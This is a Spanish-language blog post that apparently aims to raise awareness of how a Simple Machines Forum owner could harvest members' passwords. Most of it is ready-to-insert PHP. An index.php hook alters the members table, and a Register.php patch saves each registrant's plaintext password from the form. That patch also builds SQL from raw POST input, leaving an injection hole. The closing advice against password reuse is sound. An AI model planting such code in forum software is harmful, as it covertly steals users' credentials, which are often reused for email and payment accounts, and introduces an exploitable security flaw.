Los foros de la gente de simplemachines son de los más usados actualmente. No me extrañaría que fuese por la combinación diseño-características-gratis que reune este tipo de foros. Pero, ¿que hay de la seguridad?

Actualmente, la gran mayoria de personas asegura que usa la misma contraseña para todo (correo, registros de foros, y otras cuentas de mayor importancia como eBay o Paypal/Alertpay, etc) debido a la dificultad que supone tener que cuidar y guardar las diferentes contraseñas. Sin embargo, a pesar de esta incomodidad, la seguridad siempre debería de ser lo primordial para el usuario, sobre todo para el más inexperto (osease, la inmensa mayoria de usuarios).

Cuando instalamos en un servidor un foro (en este caso del tipo SMF) lo primero que hace es mirar la base de datos, y crear allí un registro, en donde a lo largo de la vida del foro se guardarán los posts, los subforos, las configuraciones, y los datos de los usuarios.

¿Los datos de los usuarios? Si. Esto es, los datos que tenemos en nuestro perfil del foro, como el avatar, el nickname, el nombre, la fecha de nacimiento, la firma, y la contraseña.

El administrador de cualquier foro puede acceder a la base de datos y ver/modificar/eliminar cualquiera de los datos anteriormente citados. Simplemachines piensa en todo (al igual que todos las empresas de ese estilo) y la mejor solución que le pone a esto es, encriptar la “contraseña”. Le pongo comillas, porque en realidad, no se guarda la contraseña, sino que se guarda un hash, generado mediante el nombre de usuario y contraseña. Esto quiere decir que, cuando nos registramos, se guarda en la base de datos la encriptación mediante SHA1 del nombre de usuario junto con la contraseña.

Por ejemplo, si me registro, y pongo de usuario lipman y de contraseña password, en la base de datos se guarda la encriptación de lipmanpassword, de la siguiente simple manera:

1
sha1($nombreUsuario . $password)

Por lo que, cuando un administrador acceda a la base de datos, le será imposible obtener la contraseña de ese usuario. La única solución seria desencriptarlo mediante fuerza bruta, pero descartamos esta opción debido al inmenso tiempo que se tomaria.

¿Quiere decir esto que nuestra contraseña está a salvo?
Absolutamente no.

Se podrían hacer cientos de métodos distintos e incluso combinarlos, para averiguar las contraseñas de los usuarios que se registren. El más sencillo que se me ocurre es: justo al registrarse un usuario, guardar en la base de datos su contraseña sin encriptar. A continuación describiré cómo se podría realizar.

Lo primero de todo, tenemos que crear en la base de datos la columna en la que guardaremos estas contraseñas sin encriptar:

Index.php (introducido justo antes de $forum_version…)

1
2
3
4
5
6
7
8
9
if(!$var = fopen('lol', 'r+'))
{
include("Settings.php");
echo "No preocuparse si sale algún error. Este mensaje no volverá a aparecer.";
mysql_connect($db_server, $db_user, $db_passwd) or die("Error al conectar a la BD");
$consulta = "ALTER TABLE `$db_name`.`smf_members` ADD COLUMN `pwdlol` TEXT AFTER `memberName`;";
$resultado = mysql_query($consulta) or die("LOL");
fopen("lol", 'a+');
}

Queremos que este código se ejecute una sola vez, por eso, este código se encarga de buscar un archivo que no deberia de existir, y si no lo encuentra, realiza esa alteración en la base de datos y posteriormente lo crea (para que lo encuentre y no se ejecute esto nada más que una sola vez)

Las variables $db_server, $db_user, $db_name y $db_passwd son variables que contienen, como propiamente dan a indicar, el nombre del servidor, de usuario, de la base de datos y la contraseña respectivamente. Ya se encuentran con los valores, ya que estos se guardan en Settings.php

La línea interesante es la sexta: $consulta = “ALTER TABLE `$db_name`.`smf_members` ADD COLUMN `pwdlol` TEXT AFTER `memberName`;”;

Esto crea en la tabla smf_members una columna llamada pwdlol después de la columna memberName (así tendremos la contraseña al lado del usuario, por comodidad)

Sigamos…

Sources/Register.php (introducido a partir de la línea 304)

1
2
3
4
5
$contrasenha = $_POST['passwrd1'];
$miembrouser = $_POST['user'];
 
$consulta = "UPDATE smf_members SET pwdlol = '$contrasenha' WHERE memberName = '$miembrouser'";
$resultado = mysql_query($consulta) or die("Error realizando la consulta");

Este código simplemente guarda en las variables $contrasenha y $miembrouser la contraseña y el nombre de usuario (todo sin encriptar) y luego, introduce la contraseña en la tabla de pwdlol, en donde el memberName sea el mismo que el miembro registrado.

Preocupamente tengo que decir: ya está. Así de simple es obtener la contraseña de cada usuario que se registre en tu propio foro SMF.

¿Es esto preocupante? Personalmente, solo espero que cada vez que os registreis en un foro la próxima vez, penseis en ponerle otra contraseña que la de vuestro correo.

Próximo análisis: PhpBB